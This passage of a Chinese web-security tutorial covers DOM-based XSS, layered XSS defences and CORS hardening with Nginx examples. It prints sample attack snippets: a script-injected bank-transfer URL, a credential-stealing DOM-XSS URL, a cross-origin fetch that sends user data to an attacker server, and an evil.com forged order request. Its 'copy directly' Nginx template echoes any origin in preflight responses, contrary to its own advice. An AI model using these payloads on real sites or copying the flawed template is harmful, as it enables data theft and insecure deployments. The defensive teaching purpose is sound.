https://bank.com/transfer?to=黑客账户&amount=10000&confirm=<script>alert("确认转账")</script>

尼恩点评
社工利器：结合钓鱼邮件，成功率极高
传播快速：微信、邮件一键转发
时效性强：需要用户主动点击

3.2.3 DOM型XSS：隐形的“幽灵攻击”

攻击流程

前端JavaScript直接操作DOM
恶意数据通过URL片段、localStorage等传入
未经转义直接插入页面，脚本执行

真实案例

// 漏洞代码
const userInput = location.hash.substring(1);
document.getElementById('content').innerHTML = userInput;
// 攻击URL
http://victim.com/#<script>stealCredentials()</script>

尼恩点评

完全绕过后端：WAF、防火墙形同虚设
调试困难：后端日志一片空白
纯前端漏洞：考验前端开发安全意识

3.3 XSS防御体系：四层纵深防御

XSS防御四层纵深体系图

3.3.1 第一层：输入过滤与验证（后端入口安检）

核心原则
永远不要信任用户输入，所有外部数据必须经过“过滤-验证-标准化”后，才能进入系统，进行传递，或者入库。

核心思想：在数据进入系统的第一道关口就进行严格筛查，确保“脏数据”无法进入业务逻辑或数据库。

为什么需要输入过滤？

用户输入可能包含恶意脚本、HTML标签等。
即使后续有输出转义，若输入未标准化，仍可能绕过防御（如双重编码、上下文混淆）。
输入验证是成本最低、效果最直接的安全控制点。

高级防御技巧

1. 输入验证：白名单模式
永远不要信任任何外部输入，包括：表单字段、URL 参数、HTTP 头（如 User-Agent）、Cookie、API 请求体、第三方回调数据等。
黑名单易被绕过（如大小写混淆、编码变种），而白名单只允许已知安全的字符模式。

function validateInput(input, pattern) {
    const whitelist = {
        username: /^[a-zA-Z0-9_-]{3,20}$/,
        email: /^[^\s@]+@[^\s@]+\.[^\s@]+$/,
        content: /^[\w\s\u4e00-\u9fa5.,!?;:'"-]{1,1000}$/
    };
    return whitelist[pattern].test(input);
}

2. 富文本过滤（使用DOMPurify）
若业务必须支持 HTML（如评论、文章编辑），绝不能直接存储原始 HTML。
应使用专业库进行清洗。

// 使用 DOMPurify 清洗富文本（前端或 Node.js 后端）
import DOMPurify from 'dompurify';
const clean = DOMPurify.sanitize(dirtyHTML, {
    ALLOWED_TAGS: ['p', 'br', 'strong', 'em', 'ul', 'ol', 'li', 'a'],
    ALLOWED_ATTR: ['href', 'class'],
    ADD_URI_SAFE_ATTR: ['target'] // 允许 a 标签的 target="_blank"
});

3.3.2 第二层：输出编码与转义（上墙前的“消毒”）

核心思想：即使输入已被过滤，输出到不同上下文（HTML、属性、JS、URL）时，仍需根据当前渲染环境进行针对性编码。

为什么输出编码必不可少？ 同一段数据在不同位置插入，危险程度不同：

插入 <p>{{data}}</p> → 需 HTML 转义
插入 <img src="{{data}}"/> → 需 URL 编码
插入 <script>var a = “{{data}}”;</script> → 需 JS 字符串转义
仅靠输入过滤，无法覆盖所有上下文风险。

上下文相关编码策略详解

输出上下文	需转义字符	推荐方法
HTML 正文	`<`, `>`, `&`, `"`, `'`	`textContent`（首选）或 HTML 实体编码（`<`, `>` 等）
HTML 属性值	`"`, `'`, `<`, `>`	对双引号用 `"`，单引号用 `'`，并确保属性用引号包裹
JavaScript 字符串	`\`, `"`, `'`, `<`, `>`	使用 `\xHH` 或 `\uXXXX` 编码，避免直接拼接
URL 参数	空格、`&`, `=`, `#`, `%` 等	使用 `encodeURIComponent()`（仅对值）或 URL 构造器

3.3.3 第三层：安全前端渲染（拒绝innerHTML的诱惑）

核心思想：现代前端框架已内置 XSS 防护，但开发者若滥用“危险 API”，仍会引入漏洞。

常见危险操作

危险方法	风险说明
`element.innerHTML = ...`	直接解析 HTML，执行脚本
`document.write(...)`	动态写入可执行内容
`eval(userInput)`	执行任意 JavaScript
`setTimeout("code", 100)`	字符串形式的代码会被 eval

安全替代方案

危险操作	安全替代	说明
`innerHTML`	`textContent`	仅显示文本，不解析 HTML
`document.write`	`document.createElement` + `appendChild`	构建 DOM 节点
`eval(jsonStr)`	`JSON.parse(jsonStr)`	安全解析 JSON
`v-html` / `dangerouslySetInnerHTML`	避免使用，或配合 DOMPurify	仅在必要时使用，并严格清洗

️ 框架级防护

Vue
{{ }} 插值自动 HTML 转义。禁止使用 v-html 渲染用户输入，除非经过 DOMPurify 清洗。

<!-- 安全 -->
<p>{{ userComment }}</p>
<!-- 危险！不要这样写！ -->
<p v-html="userComment"></p>

React
{} 插值自动转义。dangerouslySetInnerHTML 必须配合清洗。

// 安全
<p>{userContent}</p>
// 仅在清洗后使用
<div dangerouslySetInnerHTML={{ __html: purifiedHTML }} />

安全模板渲染函数（无框架场景）

function safeTemplate(template, data) {
    return template.replace(/\{\{(\w+)\}\}/g, (match, key) => {
        const value = data[key];
        return value == null ? '' : escapeHTML(String(value));
    });
}
// 使用
const html = safeTemplate('<h1>Hello {{name}}!</h1>', { name: '<script>alert(1)</script>' });
// 输出: <h1>Hello <script>alert(1)</script>!</h1>

总结：xss三层防御协同工作

层级	目标	关键技术
第一层：输入过滤	拦截非法/恶意输入	白名单验证、富文本清洗（DOMPurify/bleach）
第二层：输出编码	根据上下文安全渲染	HTML/JS/URL 编码、上下文感知转义
第三层：安全渲染	避免危险 API	使用 textContent、框架自动转义、禁用 innerHTML

黄金法则：输入做验证，输出做编码，渲染用安全 API。三者缺一不可。

通过这三层纵深防御，可有效抵御绝大多数 XSS 攻击，保障用户数据与系统安全。

尼恩的终极建议：
防御XSS不是单一技术，而是系统工程。输入验证是基础，输出转义是核心，前端安全渲染是关键，浏览器策略是保障，监控报警是眼睛，持续改进是生命线。

记住这个公式：
完整的XSS防护 = 输入过滤 × 输出转义 × 安全渲染

四、跨域防护（CORS）

CORS（Cross-Origin Resource Sharing，跨域资源共享） 是现代浏览器实现的一种安全机制，用于在遵守同源策略的前提下，安全地允许网页向不同源（协议、域名或端口不同）的服务器发起请求并读取响应。

一句话总结：
跨域本身不是攻击，就像“小区允许快递员进大门”一样正常。
但如果你让“所有陌生人”都能进楼拿你家钥匙，那就有大问题了——这就是配置不当带来的风险。

4.1、同源策略：浏览器的“门禁系统”

我们先打个比方：
想象你住在一个高档小区，每栋楼都有保安，只允许本楼住户自由进出。这个“只能自己人进自己家”的规则，就是浏览器里的同源策略（Same-Origin Policy）。

什么是“同源”？要判断两个网页是不是“一家人”，得看三样东西是否完全一致：

协议（http 还是 https）
域名（www.a.com 还是 api.a.com）
端口（80 还是 443）

只要有一项不同，就算“外人”，不能随便访问对方的数据。

举个例子：

地址	是否同源？	原因
`https://www.xxx.com`	是	完全一样
`http://www.xxx.com`	否	协议不同（http vs https）
`https://api.xxx.com`	否	域名不同（子域名也算不同）
`https://www.xxx.com:8080`	否	端口不同

同源策略是为谁好？
它的核心目的只有一个：保护你的隐私和数据不被偷走。
比如你在 bank.com 登录了账号，浏览器里存着你的 Cookie。如果没有同源策略，一个恶意网站 evil.com 就可以通过 JavaScript 发请求，偷偷把你银行账户的信息读走！
所以浏览器说：“不行！除非你是 bank.com 自己的人，否则别想碰这些敏感数据。”

那为啥还要“跨域”？
现实开发中，前后端经常不在一起住：

前端页面在：https://www.myapp.com
后端接口在：https://api.myapp.com
这就好比“住在A栋，上班在B栋”。虽然都是“合法居民”，但保安不认识你，拦着不让进。
怎么办？就需要一种“通行证”机制——这就是 CORS 和 JSONP 的由来。

4.2、主流跨域方案的安全隐患解析

CORS 是 W3C 制定的标准，相当于给浏览器发一张“电子通行证”。
当浏览器发现请求跨域时，会先检查服务器返回的几个特殊响应头，确认是否允许通行。

核心响应头有哪些？

响应头	作用	正确姿势
`Access-Control-Allow-Origin`	允许哪个域名访问	必须指定具体域名，禁止用 `*`
`Access-Control-Allow-Methods`	允许哪些 HTTP 方法	只开需要的，如 GET, POST
`Access-Control-Allow-Headers`	允许携带哪些请求头	如 Authorization, Content-Type
`Access-Control-Allow-Credentials`	是否允许带 Cookie	必须配合具体域名使用
`Access-Control-Max-Age`	预检请求缓存时间	减少重复 OPTIONS 请求

常见错误配置 = 开门迎贼

错误做法	危险后果
`Allow-Origin: *`	所有网站都能调用你的接口 → 数据泄露
`Allow-Methods: *`	攻击者可用 DELETE 删除数据
`Allow-Headers: *`	可伪造认证头绕过校验
`Credentials: true + Origin: *`	浏览器直接拒绝，业务异常

4.3、跨域安全防护核心实操方案（建站必守规则）

CORS 精细化配置：最小权限原则。
口诀：不多给、不乱开、不裸奔

推荐配置流程图

CORS请求处理流程图

1. Access-Control-Allow-Origin：精准授权，拒绝泛滥
错误写法：

add_header Access-Control-Allow-Origin *;

正确做法（Nginx 示例）：

# 定义可信域名列表
set $allowed_origin "";
if ($http_origin ~* ^(https?://(www|m)\.myapp\.com)$) {
    set $allowed_origin $http_origin;
}
# 只有匹配才设置
if ($allowed_origin != "") {
    add_header 'Access-Control-Allow-Origin' "$allowed_origin";
    add_header 'Access-Control-Allow-Credentials' 'true'; # 需要 Cookie 时开启
}

注意事项：

动态返回 $http_origin，防止硬编码
CDN 场景记得加上 CDN 域名
不要用正则过度宽松（如 .*\.com）

2. Access-Control-Allow-Methods：只开必要的门
示例配置（只允许查询和提交）：

add_header 'Access-Control-Allow-Methods' 'GET, POST, OPTIONS';

不要这样写：

add_header 'Access-Control-Allow-Methods' '*';

否则别人可以用 DELETE /user/1 把用户删了！

3. Access-Control-Allow-Headers：精确控制请求头
前端常用头：

Content-Type: 数据类型
Authorization: Token 认证
X-Requested-With: 区分 AJAX 请求

正确配置：

add_header 'Access-Control-Allow-Headers' 'Content-Type, Authorization, X-Requested-With';

禁止：

add_header 'Access-Control-Allow-Headers' '*';

4. Access-Control-Allow-Credentials：谨慎开启“带钥匙进门”
当你需要跨域传递 Cookie 时才启用它。
正确组合：

add_header 'Access-Control-Allow-Origin' 'https://www.myapp.com';
add_header 'Access-Control-Allow-Credentials' 'true';

错误组合（浏览器会直接拒绝）：

add_header 'Access-Control-Allow-Origin' '*';
add_header 'Access-Control-Allow-Credentials' 'true';  #  冲突！

补充建议：

Cookie 设置 HttpOnly=true → JS 无法读取
Cookie 设置 Secure=true → 只能 HTTPS 传输
Cookie 设置 SameSite=Strict → 防止 CSRF 攻击

5. 其他增强配置（加分项）

配置项	说明
`Access-Control-Max-Age: 86400`	缓存预检结果1天，减少 OPTIONS 请求压力
`Access-Control-Expose-Headers`	允许前端读取自定义响应头（如 X-RateLimit-Limit）

示例：

add_header 'Access-Control-Max-Age' '86400';
add_header 'Access-Control-Expose-Headers' 'X-Token-Expire, X-Data-Total';

4.4、常见跨域安全漏洞案例与规避方法

案例1：通配符滥用导致百万用户信息泄露

事故还原：某公司接口配置：

add_header Access-Control-Allow-Origin *;

又没加 Token 校验。
攻击者写了个网页：

fetch('https://api.company.com/users')
  .then(res => res.json())
  .then(data => sendToAttackerServer(data));

只要有人访问这个网页，就能自动把该公司所有用户数据上传到黑客服务器。
️ 解决方案：

改为具体域名白名单
加 Token 校验
返回数据脱敏处理

案例2：Credentials 配置错误引发“自动下单”事件

事故还原：电商平台开启 Allow-Credentials: true，但 Origin 设为 *，后来改成 https://shop.com，却忘了设 SameSite=None; Secure。
攻击者诱导用户访问恶意网站：

<!-- 恶意网站 evil.com -->
<script>
fetch('https://shop.com/api/order', {
  method: 'POST',
  credentials: 'include',
  body: JSON.stringify({ productId: 1, quantity: 999 })
});
</script>

由于用户刚登录过商城，Cookie 还有效，订单就被悄悄提交了。
️ 解决方案：

SameSite=Strict 或 Lax
关键操作加图形验证码
提交订单前二次确认

4.5 中小站 Nginx 跨域配置模板（可直接复制）

# 放在 server{} 块内（通常是 api.xxx.com 的配置文件）
# --- CORS 核心配置 ---
location / {
  # 允许的来源（动态匹配）
  if ($http_origin ~* ^(https?://(www|m)\.myapp\.com(:\d+)?)$) {
    set $cors "true";
  }
  # 预检请求处理
  if ($request_method = 'OPTIONS') {
    add_header 'Access-Control-Allow-Origin' "$http_origin";
    add_header 'Access-Control-Allow-Methods' 'GET, POST, PUT, DELETE, OPTIONS';
    add_header 'Access-Control-Allow-Headers' 'Content-Type, Authorization, X-Requested-With';
    add_header 'Access-Control-Max-Age' '86400';
    add_header 'Content-Length' '0';
    add_header 'Content-Type' 'text/plain';
    return 204;
  }
  # 普通请求添加头
  if ($cors = "true") {
    add_header 'Access-Control-Allow-Origin' "$http_origin" always;
    add_header 'Access-Control-Allow-Credentials' 'true' always;
    add_header 'Access-Control-Expose-Headers' 'X-Token-Expire, X-Data-Total' always;
  }
  # 反向代理到后端服务
  proxy_pass http://localhost:3000;
  proxy_set_header Host $host;
  proxy_set_header X-Real-IP $remote_addr;
  proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
  proxy_set_header X-Forwarded-Proto $scheme;
}

注释说明：

$http_origin 是浏览器自动发送的请求头
always 表示无论状态码都输出该 header
return 204 是预检请求的标准响应（无内容）
proxy_pass 转发请求到真正的后端服务

尼恩叮嘱一句：
跨域安全不是“一次性配置”，而是持续的过程。
每次新增接口、更换域名、接入第三方平台，都要重新审视 CORS 规则，才能真正做到滴水不漏。

高维暴击+ 答题思路总结

面对网络连接数过多、DoS/DDoS、XSS及跨域安全问题，应采取分层防御策略：

1. 连接数过多：
先通过日志分析判断是正常高并发还是攻击。若IP集中、路径异常、时间反常，则为攻击。
使用 netstat 查看 SYN_RECV 数量（>100 高度可疑），结合内核调优（如开启 tcp_syncookies、增大半连接队列）和 Nginx 限流（limit_conn 控并发、limit_req 控频率）精准拦截。

2. DoS/DDoS 攻击：

流量型（如 UDP Flood）：依赖云厂商高防IP或CDN清洗，隐藏源站IP。
连接型（如 SYN Flood）：内核参数加固 + 防火墙过滤。
应用层（如 CC 攻击）：Nginx 限流 + WAF + 敏感接口（登录/搜索）重点防护。中小站务必启用云平台免费DDoS基础防护。

3. XSS 攻击：实施三层纵深防御——

输入层：白名单验证，富文本用 DOMPurify 清洗；
输出层：按上下文（HTML/JS/URL）进行编码转义；
渲染层：禁用 innerHTML，使用 textContent 或框架自动转义（Vue/React 插值安全），绝不直接渲染用户输入。

4. 跨域安全：CORS 配置遵循最小权限原则——

Access-Control-Allow-Origin 必须指定可信域名，禁用 *；
严格限制允许的方法与请求头；
若需携带 Cookie，必须配合具体域名并设置 Cookie 的 HttpOnly、Secure 和 SameSite 属性。

核心理念：
监控先行、日志溯源、分层设防、最小授权。
安全不是功能，而是持续的工程实践。

上一篇：Rust HashMap::entry API详解：如何高效消除二次哈希查找与重复查找
下一篇：Terminal-Bench 2.0实测：GPT-5.2领先，AI编程助手真实能力大揭秘

Nginx, Linux, 网络安全, Web安全, 后端架构

从连接数激增到XSS攻击：阿里大厂面试题深度剖析与防护实战

一、网络连接数过多问题（含正常高并发和异常攻击导致）

1.1、先分清：是真忙？还是假闹？

1.2 内核调优：零成本释放连接能力

1.3 连接限流：核心手段，精准拦截恶意连接

第一步：全局定义限流“计分板”（放在 nginx.conf 的 http{} 块里）

第二步：站点级限流配置（放在具体站点的 server{} 块里）

参数怎么定？记住三条活口原则：

效果验证：两招立竿见影

1.4 最终总结：一张表，中小站照着做就行

二、DoS 攻击（拒绝服务攻击）& DDoS 攻击（分布式拒绝服务攻击）：网站被“堵门”了怎么办？

2.1、 看透DoS/DDoS本质：谁在“堵门”？

2.2、DoS vs DDoS：单挑和群殴的区别

2.3、攻击原理拆解：敌人是怎么下手的？

2.3.1、DoS 常见套路：三个经典招式

2.3.2、 DDoS 核心类型：从洪水到精准打击

2.3.2.1、流量型 DDoS（带宽耗尽）

2.3.2.2、连接型 DDoS（连接耗尽）

2.3.2.3、应用层 DDoS（资源耗尽）

2.4 、核心防护思路：层层过滤，源头拦截

2.5、实操方案：从小白到大佬的三级跳

方案1：基础防护（中小站，零成本起步）

第一个动作：开启云厂商 DDoS 基础防护

第二个动作：关闭无用端口 + 防火墙封锁

第三个动作：内核参数调优（防SYN Flood）

第四个动作：Nginx防Slowloris配置

方案2：进阶防护（中站，轻量付费）

接入CDN（隐藏IP + 分流）

使用 DDoS 高防 IP（轻量版）

Nginx限流防御CC攻击

启用 WAF 轻量版

方案3：高级防护（大站/电商，生产级落地）

部署抗DDoS硬件设备

接入 BGP 高防机房

业务降级 + 熔断机制（Spring Cloud/Sentinel）

专用CC防护系统

2.6、怎么验证防护有没有效果？

工具清单（仅用于自测！禁止攻击他人）

攻击检测手段

2.7、 一句话记住DoS/DDoS全部

三、XSS 攻击（跨站脚本攻击）：浏览器里的“隐形杀手”

3.1 什么是XSS？一场精心策划的“信任欺骗”

3.2 三种XSS，三种致命攻击模式

3.2.1 存储型XSS：潜伏的“定时炸弹”

3.2.2 反射型XSS：精准的“钓鱼诱饵”

3.2.3 DOM型XSS：隐形的“幽灵攻击”

3.3 XSS防御体系：四层纵深防御

3.3.1 第一层：输入过滤与验证（后端入口安检）

3.3.2 第二层：输出编码与转义（上墙前的“消毒”）

3.3.3 第三层：安全前端渲染（拒绝innerHTML的诱惑）

总结：xss三层防御协同工作

四、跨域防护（CORS）

4.1、同源策略：浏览器的“门禁系统”

4.2、主流跨域方案的安全隐患解析

4.3、跨域安全防护核心实操方案（建站必守规则）

4.4、常见跨域安全漏洞案例与规避方法

案例1：通配符滥用导致百万用户信息泄露

案例2：Credentials 配置错误引发“自动下单”事件

4.5 中小站 Nginx 跨域配置模板（可直接复制）

高维暴击+ 答题思路总结

相关帖子

2.1、看透DoS/DDoS本质：谁在“堵门”？

2.7、一句话记住DoS/DDoS全部